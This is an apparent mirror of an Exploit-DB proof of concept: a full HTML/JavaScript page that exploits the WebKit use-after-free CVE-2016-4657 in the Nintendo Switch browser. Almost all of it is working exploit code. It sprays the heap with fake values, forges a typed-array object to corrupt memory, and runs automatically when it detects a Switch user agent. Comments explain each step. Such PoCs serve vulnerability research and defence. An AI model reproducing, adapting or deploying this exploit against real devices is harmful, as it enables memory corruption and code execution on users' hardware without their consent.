Nintendo Switch – WebKit Code Execution (PoC)

  • 作者: qwertyoruiop
    日期: 2017-03-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44213/
  • <!doctype html>
    <html>
    <head>
    <title>CVE-2016-4657 Switch PoC</title>
    <style>
    body {font-size: 2em;}
    a {text-decoration: none; color: #000;}
    a:hover {color: #f00; font-weight: bold;}
    </style>
    </head>
    <body>
    <h1>CVE-2016-4657 Nintendo Switch PoC</h1>
    <ul>
    <li><a href=\'javascript:go();\'> go!</a></li>
    <li><a href=\'javascript:document.location.reload();\'> reload</a></li>
    </ul>
    <div id=\'status\'> waiting... click go.</div>
    
    <script>
    // display JS errors as alerts. Helps debugging.
    window.onerror = function(error, url, line) {
    alert(error+\' URL:\'+url+\' L:\'+line);
    };
    </script>
    <script>
    
    // based on jbme.qwertyoruiop.com
    // Thanks to:
    //+ qwertyoruiop
    //+ Retr0id
    //+ Ando
    //
    // saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html
    
    // garbage collection stuff
    var pressure = new Array(100);
    // do garbage collect
    dgc = function() {
    for (var i = 0; i < pressure.length; i++) {
    pressure[i] = new Uint32Array(0x10000);
    }
    for (var i = 0; i < pressure.length; i++) {
    pressure[i] = 0;
    }
    }
    
    
    // access to the overlapping Uint32Array
    var bufs = new Array(0x1000);
    // we will modify the vector of this
    var smash = new Uint32Array(0x10);
    // the array with the stale pointer
    var stale = 0;
    
    var _dview = null;
    // write 2x 32bit in a DataView and get the Float representation of it
    function u2d(low, hi) {
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setUint32(0, hi);
    _dview.setUint32(4, low);
    return _dview.getFloat64(0);
    }
    
    function go_() {
    // check if the length of the array smash changed already. if yes, bail out.
    if (smash.length != 0x10) return;
    
    // garbage collect
    dgc();
    
    // new array with 0x100 elements
    var arr = new Array(0x100);
    
    // new array buffer of length 0x1000
    var yolo = new ArrayBuffer(0x1000);
    
    // populate the arr with pointer to yolo and a number. not quite sure why.
    arr[0] = yolo;
    arr[1] = 0x13371337;
    
    // create an object whos toString function returns number 10 and messes with arr.
    var not_number = {};
    not_number.toString = function() {
    arr = null;
    props[\"stale\"][\"value\"] = null;
    
    // if bufs is already overlapping memory, bail out.
    if (bufs[0]) return 10;
    // really make sure garbage is collected
    // the array pointed at by arr should be gone now.
    for (var i = 0; i < 20; i++) {
    dgc();
    }
    // for the whole buf Array
    for (i = 0; i < bufs.length; i++) {
    // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier
    bufs[i] = new Uint32Array(0x100 * 2)
    // for each element of that array
    for (k = 0; k < bufs[i].length;) {
    // set memory to 0x41414141 0xffff0000
    // basically spraying the JSValue 0xffff000041414141
    // which is the Integer 0x41414141
    // phrack: Integer FFFF:0000:IIII:IIII
    bufs[i][k++] = 0x41414141;
    bufs[i][k++] = 0xffff0000;
    }
    }
    return 10;
    };
    // define a new object with some properties
    var props = {
    p0: { value: 0 },
    p1: { value: 1 },
    p2: { value: 2 },
    p3: { value: 3 },
    p4: { value: 4 },
    p5: { value: 5 },
    p6: { value: 6 },
    p7: { value: 7 },
    p8: { value: 8 },
    // the length of this object is set to this object that does evil stuff with toString()
    length: { value: not_number },
    // the reference to the arr array. Which will later be freed.
    stale: { value: arr },
    after: { value: 666 }
    };
    // define a new target array
    var target = [];
    
    // TRIGGER BUG!
    // set the properties of the target based on the previously defined ones
    Object.defineProperties(target, props);
    
    // get a reference to the target stale property, which points to arr
    stale = target.stale;
    
    // make sure that the stale[0] points actually to the 0x41414141 data if not, we don\'t wanna mess with it and try again
    if(stale[0]==0x41414141) {
    // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242
    stale[0] += 0x101;
    //stale[0] = 0x41414242;
    //document.getElementById(\'status\').innerText = \'bug done.\';
    // searching the whole memory that is overlaying the old arr. Looking for 0x41414242
    for (i = 0; i < bufs.length; i++) {
    for (k = 0; k < bufs[0].length; k++) {
    // Found the value! bufs[i][k] point now at the same memory as stale[0]
    if (bufs[i][k] == 0x41414242) {
    alert(\'Overlapping Arrays found at bufs[\'+i+\'][\'+k+\']\\nsmash.length is still: 0x\'+smash.length.toString(16));
    
    // create a new object. Will look kinda like this:
    // 0x0100150000000136 0x0000000000000000 <- fictional value
    // 0x0000000000000064 0x0000000000000000 <- [\'a\'],[\'b\']
    // 0x???????????????? 0x0000000000000100 <- [\'c\'],[\'d\']
    stale[0] = {
    \'a\': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array
    \'b\': u2d(0, 0),
    \'c\': smash, // var pointing at the struct of a Uint32Array(0x10)
    \'d\': u2d(0x100, 0)
    }
    
    alert(\'created the JSObject.\\nstale[0] = \'+stale[0]);
    
    // remember the original stale pointer, pointing at the object with the a,b,c,d properties
    stale[1] = stale[0];
    
    // now add 0x10 to the pointer of stale[0], which points now in the middle of the object.
    bufs[i][k] += 0x10;
    // check the type of stale[0].
    
    // removed the loop because it makes the exploit sooooooo unreliable
    // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html)
    /*while(!(stale[0] instanceof Uint32Array)) {
    // if stale[0] is not a Uint32Array yet, increment the structureID guess
    structureID++;
    
    // assign the next structureID to the original object still referenced by stale[1]
    stale[1][\'a\'] = u2d(structureID, 0);
    }*/
    
    // Give some information. stale[0] should now be a Uint32Array
    alert(\'misaligned the pointer to the JSObject.\\nstale[0] = \'+stale[0]+\'\');
    
    // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array
    // which should point to the struct of smash, allowing us to overwrite the length of smash
    stale[0][6] = 0x1337;
    
    // check the length of smash is now.
    alert(\'smash.length is now: 0x\'+smash.length.toString(16));
    
    alert(\'done!\\nswitch will probably crash now :O\');
    return;
    }
    }
    }
    }
    document.getElementById(\'status\').innerText = \' fail. refresh the page and try again...\';
    setTimeout(function() {document.location.reload();}, 1000);
    }
    
    function go() {
    document.getElementById(\'status\').innerText = \' go! \';
    dgc();
    dgc();
    dgc();
    dgc();
    dgc();
    dgc();
    setTimeout(go_, 500);
    }
    
    // if Switch browser is detected, auto start exploit
    if(navigator.userAgent.indexOf(\'Nintendo Switch\')>-1) {
    document.getElementById(\'status\').innerText = \'Found Nintendo Switch! \';
    setTimeout(go, 2000);
    }
    </script>
    </body>
    </html>